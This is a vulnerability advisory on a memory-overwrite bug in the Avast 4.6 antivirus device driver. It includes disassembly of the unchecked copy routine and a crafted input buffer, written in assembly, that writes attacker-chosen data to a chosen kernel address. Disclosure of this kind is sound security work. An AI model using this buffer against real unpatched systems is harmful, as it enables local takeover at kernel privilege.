Alwil Software Avast Antivirus Device Driver Memory Overwrite
Vulnerability
by Piotr Bania <bania.piotr@gmail.com>
http://pb.specialised.info

Original location:   http://pb.specialised.info/all/adv/avast-adv.txt


Severity:      Less Critical/Medium - local ring0 code execution

Software affected: Probably all versions of Avast Antivirus,
       however tested with 4.6v. I have contacted
       Alwil Software and the bug is patched within
       the new version (released few days ago).


I.  BACKGROUND

Avast Antivirus is very common antivirus software package with a big
worldwide userbase. (more details on: http://www.avast.com)


II. DESCRIPTION

The vulnerability is caused by no bounds checking procedure in the
device driver.  By sending special signal(s) together with specially
crafted input buffer attacker can force Avast Asynchronous Virus Monitor 
to overwrite specified memory with data provided by the attacker.


Here is the one of vulnerable codes:
(DISASSEMBLY OF Aavmker4 DEVICE DRIVER)

----// SNIP SNIP //-------------------------------------------------
.text:00010901 loc_10901:                         ; CODE XREF:
                                                   ; sub_10604+2A8j
.text:00010901            mov     eax, [ebx+0Ch]  ; eax=input buffer
.text:00010904            xor     edx, edx    ; edx=0
.text:00010906            mov     [ebp+var_8], eax; store
.text:00010909            cmp     [eax], edx      ; input buffer == 0?
.text:0001090B            jz      short loc_10966 ; if so -> exit
.text:0001090D            mov     edi, [eax+870h] ; edi=addres from
                                                   ; input buffer+870h
.text:00010913            lea     esi, [eax+4]    ; esi=ptr to input
                                                   ; buffer+4
.text:00010916            mov     ecx, 21Ah       ; ecx=21Ah size to
                                                   ; copy (const)
.text:0001091B            rep movsd               ; copy
----// SNIP SNIP //-------------------------------------------------
  
Sending the input buffer written below:

----// SNIP SNIP //-------------------------------------------------
input_buff:
    db "YOU!"
    db 86Ch dup (90h)      ; source memory (ESI)
    dd 1234567h        ; destination address
    db "GONDIE"
----// SNIP SNIP //-------------------------------------------------  
  
forces Avast device driver to write data from "source memory" to
destination address (here 1234567h).

  
III. IMPACT

Successful exploitation may allow attacker to obtain full system control
(ring0 priviledges), if the attack fails the operating system will fault.


IV. POC CODE

Poc code was released for this issue.



best regards,
Piotr Bania


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Piotr Bania - <bania.piotr@gmail.com> - 0xCD, 0x19
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